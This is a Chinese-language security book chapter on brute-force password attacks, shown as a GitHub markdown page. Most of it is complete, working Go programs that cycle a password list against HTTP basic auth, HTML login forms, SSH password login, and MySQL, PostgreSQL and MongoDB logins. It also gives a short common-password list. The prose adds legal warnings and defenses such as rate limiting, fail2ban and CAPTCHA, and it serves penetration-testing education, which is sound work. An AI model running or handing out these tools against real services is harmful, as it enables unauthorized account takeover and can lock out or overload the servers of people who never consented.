Skip to content

Latest commit

 

History

History
654 lines (522 loc) · 23.2 KB

08.md

File metadata and controls

654 lines (522 loc) · 23.2 KB

八、暴力破解

蛮力攻击,也称为穷举密钥攻击,是指您尝试输入的所有可能组合,直到最终得到正确的组合。最常见的例子是强制使用密码。您可以尝试各种字符、字母和符号的组合,也可以使用字典列表作为密码的基础。您可以在线查找基于常用密码的词典和预构建的单词列表,也可以创建自己的。

存在不同类型的暴力密码攻击。存在在线攻击,例如试图反复登录网站或数据库。由于网络延迟和带宽限制,在线攻击速度要慢得多。服务还可能在尝试失败次数过多后限制或锁定帐户。另一方面,也存在离线攻击。脱机攻击的一个例子是,当您在本地硬盘上有一个数据库转储,其中满是散列密码,并且您可以不受限制地对其进行暴力攻击,物理硬件除外。严重的密码破解者用几个功能强大的图形卡来破解电脑,花费数万美元。

关于在线暴力攻击,需要注意的一点是,它们很容易被检测到,会造成大量流量,会给服务器带来沉重的负载,甚至会完全关闭服务器,除非您获得许可,否则是非法的。当涉及到在线服务时,许可可能会产生误导。例如,仅仅因为你在 Facebook 等服务上拥有一个帐户并不意味着你有权对你自己的帐户进行暴力攻击。Facebook 仍然拥有这些服务器,你无权攻击他们的网站,即使只是针对你的帐户。即使您正在 Amazon 服务器上运行自己的服务(如 SSH 服务),您仍然没有进行暴力攻击的权限。您必须向 Amazon 资源请求并获得渗透测试的特别许可。您可以使用自己的虚拟机进行本地测试。

The webcomic xkcd has a comic that perfectly relates to the topic of brute forcing passwords:

资料来源:https://xkcd.com/936/

可以使用以下一种或多种技术保护大多数(如果不是所有)攻击:

  • 强密码(最好是密码短语或密钥)
  • 对失败的尝试实现速率限制/临时锁定
  • 使用验证码
  • 添加双因素身份验证
  • 盐渍密码
  • 限制对服务器的访问

本章将介绍几个暴力示例,包括以下内容:

  • HTTP 基本身份验证
  • HTML 登录表单
  • SSH 密码验证
  • 数据库

Brute forcing HTTP basic authentication

HTTP 基本身份验证是指在 HTTP 请求中提供用户名和密码。在现代浏览器中,您可以将其作为 URL 的一部分进行传递。考虑这个例子:

http://username:password@www.example.com

以编程方式添加基本身份验证时,凭据作为名为Authorization的 HTTP 标头提供,其中包含一个编码为username:passwordbase64 的值,前缀为Basic,由空格分隔。考虑下面的例子:

Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=

当身份验证失败时,Web 服务器通常会响应一个401 Access Denied代码,它们应该响应一个2xx成功代码,例如200 OK

此示例将获取 URL 和username值,并尝试使用生成的密码登录。

To reduce the effectiveness of attacks like these, implement a rate-limiting feature or account lockout feature after a number of failed log in attempts.

如果您需要从头开始建立自己的密码列表,请尝试从维基百科中记录的最常用密码开始,网址为https://en.wikipedia.org/wiki/List_of_the_most_common_passwords 。下面是一个简短的示例,您可以另存为passwords.txt

password
123456
qwerty
abc123
iloveyou
admin
passw0rd

将前面代码块中的列表保存为文本文件,每行有一个密码。名称并不重要,因为您提供了密码列表文件名作为命令行参数:

package main 

import ( 
   "bufio" 
   "fmt" 
   "log" 
   "net/http" 
   "os" 
) 

func printUsage() { 
   fmt.Println(os.Args[0] + ` - Brute force HTTP Basic Auth 

Passwords should be separated by newlines. 
URL should include protocol prefix. 

Usage: 
  ` + os.Args[0] + ` <username> <pwlistfile> <url> 

Example: 
  ` + os.Args[0] + ` admin passwords.txt https://www.test.com 
`) 
} 

func checkArgs() (string, string, string) { 
   if len(os.Args) != 4 { 
      log.Println("Incorrect number of arguments.") 
      printUsage() 
      os.Exit(1) 
   } 

   // Username, Password list filename, URL 
   return os.Args[1], os.Args[2], os.Args[3] 
} 

func testBasicAuth(url, username, password string, doneChannel chan bool) { 
   client := &http.Client{} 
   request, err := http.NewRequest("GET", url, nil) 
   request.SetBasicAuth(username, password) 

   response, err := client.Do(request) 
   if err != nil { 
      log.Fatal(err) 
   } 
   if response.StatusCode == 200 { 
      log.Printf("Success!\nUser: %s\nPassword: %s\n", username,   
         password) 
      os.Exit(0) 
    } 
    doneChannel <- true 
} 

func main() { 
   username, pwListFilename, url := checkArgs() 

   // Open password list file 
   passwordFile, err := os.Open(pwListFilename) 
   if err != nil { 
      log.Fatal("Error opening file. ", err) 
   } 
   defer passwordFile.Close() 

   // Default split method is on newline (bufio.ScanLines) 
   scanner := bufio.NewScanner(passwordFile) 

   doneChannel := make(chan bool) 
   numThreads := 0 
   maxThreads := 2 

   // Check each password against url 
   for scanner.Scan() { 
      numThreads += 1 

      password := scanner.Text() 
      go testBasicAuth(url, username, password, doneChannel) 

      // If max threads reached, wait for one to finish before continuing 
      if numThreads >= maxThreads { 
         <-doneChannel 
         numThreads -= 1 
      } 
   } 

   // Wait for all threads before repeating and fetching a new batch 
   for numThreads > 0 { 
      <-doneChannel 
      numThreads -= 1 
   } 
} 

强制使用 HTML 登录表单

几乎每个有用户系统的网站都会在网页上提供登录表单。我们可以编写一个程序,反复提交登录表单。本例假设 web 应用上没有验证码、速率限制或其他阻止机制。请记住,不要对任何生产站点或任何您不拥有或没有权限的站点执行此攻击。如果您想测试它,我建议您设置一个本地 web 服务器,并且只在本地进行测试。

每个 web 表单都可以为usernamepassword字段创建不同的名称,因此需要在每次运行时提供这些字段的名称,并且必须特定于目标 URL。

查看源或检查目标表单,从输入元素获取name属性,从form元素获取目标action属性。如果form元素中没有提供动作 URL,则默认为当前 URL。另一个重要信息是表单上使用的方法。登录表单应为POST,但可能编码不当,使用GET方法。一些登录表单使用 JavaScript 提交表单,可能完全绕过标准表单方法。使用这种逻辑的站点需要更多的反向工程来确定最终的 post 目的地是什么以及数据的格式。您可以使用 HTML 代理或浏览器中的网络检查器来查看 XHR 请求。

后面的章节将讨论在DOM界面内的 web 爬行和查询,以根据名称或 CSS 选择器查找特定元素,但本章将不讨论尝试自动检测表单字段并识别正确的输入元素。此步骤必须在此处手动完成,但一旦确定,暴力攻击可以自行运行。

要防止此类攻击,请实现验证码系统或速率限制功能。

请注意,每个 web 应用都可以有自己的身份验证方式。这不是一个一刀切的解决方案。它提供了一个基本的HTTP POST表单登录示例,但需要针对不同的应用进行轻微修改。

package main 

import ( 
   "bufio" 
   "bytes" 
   "fmt" 
   "log" 
   "net/http" 
   "os" 
) 

func printUsage() { 
   fmt.Println(os.Args[0] + ` - Brute force HTTP Login Form 

Passwords should be separated by newlines. 
URL should include protocol prefix. 
You must identify the form's post URL and username and password   
field names and pass them as arguments. 

Usage: 
  ` + os.Args[0] + ` <pwlistfile> <login_post_url> ` + 
      `<username> <username_field> <password_field> 

Example: 
  ` + os.Args[0] + ` passwords.txt` +
      ` https://test.com/login admin username password 
`) 
} 

func checkArgs() (string, string, string, string, string) { 
   if len(os.Args) != 6 { 
      log.Println("Incorrect number of arguments.") 
      printUsage() 
      os.Exit(1) 
   } 

   // Password list, Post URL, username, username field, 
   // password field 
   return os.Args[1], os.Args[2], os.Args[3], os.Args[4], os.Args[5] 
} 

func testLoginForm( 
   url, 
   userField, 
   passField, 
   username, 
   password string, 
   doneChannel chan bool, 
) 
{ 
   postData := userField + "=" + username + "&" + passField + 
      "=" + password 
   request, err := http.NewRequest( 
      "POST", 
      url, 
      bytes.NewBufferString(postData), 
   ) 
   client := &http.Client{} 
   response, err := client.Do(request) 
   if err != nil { 
      log.Println("Error making request. ", err) 
   } 
   defer response.Body.Close() 

   body := make([]byte, 5000) // ~5k buffer for page contents 
   response.Body.Read(body) 
   if bytes.Contains(body, []byte("ERROR")) { 
      log.Println("Error found on website.") 
   } 
   log.Printf("%s", body) 

   if bytes.Contains(body,[]byte("ERROR")) || response.StatusCode != 200 { 
      // Error on page or in response code 
   } else { 
      log.Println("Possible success with password: ", password) 
      // os.Exit(0) // Exit on success? 
   } 

   doneChannel <- true 
} 

func main() { 
   pwList, postUrl, username, userField, passField := checkArgs() 

   // Open password list file 
   passwordFile, err := os.Open(pwList) 
   if err != nil { 
      log.Fatal("Error opening file. ", err) 
   } 
   defer passwordFile.Close() 

   // Default split method is on newline (bufio.ScanLines) 
   scanner := bufio.NewScanner(passwordFile) 

   doneChannel := make(chan bool) 
   numThreads := 0 
   maxThreads := 32 

   // Check each password against url 
   for scanner.Scan() { 
      numThreads += 1 

      password := scanner.Text() 
      go testLoginForm( 
         postUrl, 
         userField, 
         passField, 
         username, 
         password, 
         doneChannel, 
      ) 

      // If max threads reached, wait for one to finish before  
      //continuing 
      if numThreads >= maxThreads { 
         <-doneChannel 
         numThreads -= 1 
      } 
   } 

   // Wait for all threads before repeating and fetching a new batch 
   for numThreads > 0 { 
      <-doneChannel 
      numThreads -= 1 
   } 
} 

强制 SSH

Secure Shell 或 SSH 支持几种身份验证机制。如果服务器只支持公钥身份验证,那么暴力尝试几乎是徒劳的。这个例子将只看 SSH 的密码认证。

要防止此类攻击,请实现速率限制或 fail2ban 等工具,当检测到大量失败的登录尝试时,该工具会在短时间内锁定帐户。同时禁用根远程登录。有些人喜欢将 SSH 放在非标准端口上,但最终将其放在大量非限制端口上,如2222,这不是一个好主意。如果您使用大量非特权端口,如2222,另一个低特权用户可能会劫持该端口,并在该端口发生故障时开始在其位置运行自己的服务。如果要更改默认设置,请将 SSH 守护程序放在低于1024的端口上。

此攻击在日志中明显有噪音,易于检测,并被 fail2ban 等东西阻止。如果您正在进行渗透测试,检查是否存在速率限制或帐户锁定可以作为一种快速方法。如果未配置速率限制或临时帐户锁定,暴力攻击和 DDoS 是潜在风险。

运行此程序需要来自golang.org的 SSH 包。您可以使用以下命令获取它:

go get golang.org/x/crypto/ssh

安装所需的ssh包后,可以运行以下示例:

package main 

import ( 
   "bufio" 
   "fmt" 
   "log" 
   "os" 

   "golang.org/x/crypto/ssh" 
) 

func printUsage() { 
   fmt.Println(os.Args[0] + ` - Brute force SSH Password 

Passwords should be separated by newlines. 
URL should include hostname or ip with port number separated by colon 

Usage: 
  ` + os.Args[0] + ` <username> <pwlistfile> <url:port> 

Example: 
  ` + os.Args[0] + ` root passwords.txt example.com:22 
`) 
} 

func checkArgs() (string, string, string) { 
   if len(os.Args) != 4 { 
      log.Println("Incorrect number of arguments.") 
      printUsage() 
      os.Exit(1) 
   } 

   // Username, Password list filename, URL 
   return os.Args[1], os.Args[2], os.Args[3] 
} 

func testSSHAuth(url, username, password string, doneChannel chan bool) { 
   sshConfig := &ssh.ClientConfig{ 
      User: username, 
      Auth: []ssh.AuthMethod{ 
         ssh.Password(password), 
      }, 
      // Do not check server key 
      HostKeyCallback: ssh.InsecureIgnoreHostKey(), 

      // Or, set the expected ssh.PublicKey from remote host 
      //HostKeyCallback: ssh.FixedHostKey(pubkey), 
   } 

   _, err := ssh.Dial("tcp", url, sshConfig) 
   if err != nil { 
      // Print out the error so we can see if it is just a failed   
      // auth or if it is a connection/name resolution problem. 
      log.Println(err) 
   } else { // Success 
      log.Printf("Success!\nUser: %s\nPassword: %s\n", username,   
      password) 
      os.Exit(0) 
   } 

   doneChannel <- true // Signal another thread spot has opened up 
} 

func main() { 

   username, pwListFilename, url := checkArgs() 

   // Open password list file 
   passwordFile, err := os.Open(pwListFilename) 
   if err != nil { 
      log.Fatal("Error opening file. ", err) 
   } 
   defer passwordFile.Close() 

   // Default split method is on newline (bufio.ScanLines) 
   scanner := bufio.NewScanner(passwordFile) 

   doneChannel := make(chan bool) 
   numThreads := 0 
   maxThreads := 2 

   // Check each password against url 
   for scanner.Scan() { 
      numThreads += 1 

      password := scanner.Text() 
      go testSSHAuth(url, username, password, doneChannel) 

      // If max threads reached, wait for one to finish before continuing 
      if numThreads >= maxThreads { 
         <-doneChannel 
         numThreads -= 1 
      } 
   } 

   // Wait for all threads before repeating and fetching a new batch 
   for numThreads > 0 { 
      <-doneChannel 
      numThreads -= 1 
   } 
} 

Brute forcing database login

数据库登录可以像其他方法一样自动和强制执行。在前面的暴力示例中,大多数代码都是相同的。应用之间的主要区别在于实际测试身份验证的功能。这些代码片段将简单地演示如何登录到各种数据库,而不是再次重复所有这些代码。修改以前的暴力脚本,以测试其中一个,而不是 SSH 或 HTTP 方法。

为了防止出现这种情况,请将对数据库的访问限制为仅需要它的计算机,并禁用 root 远程登录。

Go 在标准库中不提供任何数据库驱动程序,只提供接口。因此,所有这些数据库示例都需要来自 GitHub 的第三方包,以及要连接到的正在运行的数据库实例。本书不介绍如何安装和配置这些数据库服务。可以使用go get命令安装这些软件包:

这个示例结合了所有三个数据库库,并提供了一个可以强制 MySQL、MongoDB 或 PostgreSQL 的工具。数据库类型与用户名、主机、密码文件和数据库名称一起指定为命令行参数之一。MongoDB 和 MySQL 不需要像 PostgreSQL 这样的数据库名称,所以当不使用postgres选项时,它是可选的。创建一个名为loginFunc的特殊变量来存储与指定数据库类型关联的登录函数。这是我们第一次使用变量来保存函数。然后使用登录功能执行暴力攻击:

package main 

import ( 
   "database/sql" 
   "log" 
   "time" 

   // Underscore means only import for 
   // the initialization effects. 
   // Without it, Go will throw an 
   // unused import error since the mysql+postgres 
   // import only registers a database driver 
   // and we use the generic sql.Open() 
   "bufio" 
   "fmt" 
   _ "github.com/go-sql-driver/mysql" 
   _ "github.com/lib/pq" 
   "gopkg.in/mgo.v2" 
   "os" 
) 

// Define these at the package level since they don't change, 
// so we don't have to pass them around between functions 
var ( 
   username string 
   // Note that some databases like MySQL and Mongo 
   // let you connect without specifying a database name 
   // and the value will be omitted when possible 
   dbName        string 
   host          string 
   dbType        string 
   passwordFile  string 
   loginFunc     func(string) 
   doneChannel   chan bool 
   activeThreads = 0 
   maxThreads    = 10 
) 

func loginPostgres(password string) { 
   // Create the database connection string 
   // postgres://username:password@host/database 
   connStr := "postgres://" 
   connStr += username + ":" + password 
   connStr += "@" + host + "/" + dbName 

   // Open does not create database connection, it waits until 
   // a query is performed 
   db, err := sql.Open("postgres", connStr) 
   if err != nil { 
      log.Println("Error with connection string. ", err) 
   } 

   // Ping will cause database to connect and test credentials 
   err = db.Ping() 
   if err == nil { // No error = success 
      exitWithSuccess(password) 
   } else { 
      // The error is likely just an access denied, 
      // but we print out the error just in case it 
      // is a connection issue that we need to fix 
      log.Println("Error authenticating with Postgres. ", err) 
   } 
   doneChannel <- true 
} 

func loginMysql(password string) { 
   // Create database connection string 
   // user:password@tcp(host)/database?charset=utf8 
   // The database name is not required for a MySQL 
   // connection so we leave it off here. 
   // A user may have access to multiple databases or 
   // maybe we do not know any database names 
   connStr := username + ":" + password 
   connStr += "@tcp(" + host + ")/" // + dbName 
   connStr += "?charset=utf8" 

   // Open does not create database connection, it waits until 
   // a query is performed 
   db, err := sql.Open("mysql", connStr) 
   if err != nil { 
      log.Println("Error with connection string. ", err) 
   } 

   // Ping will cause database to connect and test credentials 
   err = db.Ping() 
   if err == nil { // No error = success 
      exitWithSuccess(password) 
   } else { 
      // The error is likely just an access denied, 
      // but we print out the error just in case it 
      // is a connection issue that we need to fix 
      log.Println("Error authenticating with MySQL. ", err) 
   } 
   doneChannel <- true 
} 

func loginMongo(password string) { 
   // Define Mongo connection info 
   // mgo does not use the Go sql driver like the others 
   mongoDBDialInfo := &mgo.DialInfo{ 
      Addrs:   []string{host}, 
      Timeout: 10 * time.Second, 
      // Mongo does not require a database name 
      // so it is omitted to improve auth chances 
      //Database: dbName, 
      Username: username, 
      Password: password, 
   } 
   _, err := mgo.DialWithInfo(mongoDBDialInfo) 
   if err == nil { // No error = success 
      exitWithSuccess(password) 
   } else { 
      log.Println("Error connecting to Mongo. ", err) 
   } 
   doneChannel <- true 
} 

func exitWithSuccess(password string) { 
   log.Println("Success!") 
   log.Printf("\nUser: %s\nPass: %s\n", username, password) 
   os.Exit(0) 
} 

func bruteForce() { 
   // Load password file 
   passwords, err := os.Open(passwordFile) 
   if err != nil { 
      log.Fatal("Error opening password file. ", err) 
   } 

   // Go through each password, line-by-line 
   scanner := bufio.NewScanner(passwords) 
   for scanner.Scan() { 
      password := scanner.Text() 

      // Limit max goroutines 
      if activeThreads >= maxThreads { 
         <-doneChannel // Wait 
         activeThreads -= 1 
      } 

      // Test the login using the specified login function 
      go loginFunc(password) 
      activeThreads++ 
   } 

   // Wait for all threads before returning 
   for activeThreads > 0 { 
      <-doneChannel 
      activeThreads -= 1 
   } 
} 

func checkArgs() (string, string, string, string, string) { 
   // Since the database name is not required for Mongo or Mysql 
   // Just set the dbName arg to anything. 
   if len(os.Args) == 5 && 
      (os.Args[1] == "mysql" || os.Args[1] == "mongo") { 
      return os.Args[1], os.Args[2], os.Args[3], os.Args[4],   
      "IGNORED" 
   } 
   // Otherwise, expect all arguments. 
   if len(os.Args) != 6 { 
      printUsage() 
      os.Exit(1) 
   } 
   return os.Args[1], os.Args[2], os.Args[3], os.Args[4], os.Args[5] 
} 

func printUsage() { 
   fmt.Println(os.Args[0] + ` - Brute force database login  

Attempts to brute force a database login for a specific user with  
a password list. Database name is ignored for MySQL and Mongo, 
any value can be provided, or it can be omitted. Password file 
should contain passwords separated by a newline. 

Database types supported: mongo, mysql, postgres 

Usage: 
  ` + os.Args[0] + ` (mysql|postgres|mongo) <pwFile>` +
     ` <user> <host>[:port] <dbName> 

Examples: 
  ` + os.Args[0] + ` postgres passwords.txt nanodano` +
      ` localhost:5432  myDb   
  ` + os.Args[0] + ` mongo passwords.txt nanodano localhost 
  ` + os.Args[0] + ` mysql passwords.txt nanodano localhost`) 
} 

func main() { 
   dbType, passwordFile, username, host, dbName = checkArgs() 

   switch dbType { 
   case "mongo": 
       loginFunc = loginMongo 
   case "postgres": 
       loginFunc = loginPostgres 
   case "mysql": 
       loginFunc = loginMysql 
   default: 
       fmt.Println("Unknown database type: " + dbType) 
       fmt.Println("Expected: mongo, postgres, or mysql") 
       os.Exit(1) 
   } 

   doneChannel = make(chan bool) 
   bruteForce() 
} 

总结

阅读本章后,您现在将了解基本的暴力攻击如何针对不同的应用。您应该能够根据自己的需要调整这里给出的示例来攻击不同的协议。

请记住,这些示例可能很危险,并可能导致拒绝服务,因此不建议您针对生产服务运行这些示例,除非是为了测试暴力防护措施。仅对您控制、有权测试并了解其影响的服务执行这些测试。您不应该使用这些示例或这些类型的攻击来攻击您不拥有的服务,否则您可能会触犯法律并陷入严重的法律麻烦。

有一些细微的法律界限很难区分测试。例如,如果您租用硬件设备,从技术上讲,您并不拥有它,即使它位于您的数据中心,您也需要获得测试它的许可。类似地,如果您从 Amazon 等提供商处租用托管服务,则在执行渗透测试之前必须获得他们的许可,否则您可能会因违反服务条款而遭受后果。

在下一章中,我们将介绍使用 Go 的 web 应用,以及如何使用最佳实践(如 HTTPS)、使用安全 cookie 和安全 HTTP 头、转义 HTML 输出和添加日志记录)强化它们并提高安全性。本文还探讨了如何通过发出请求、使用客户端 SSL 证书和使用代理将 web 应用作为客户端使用。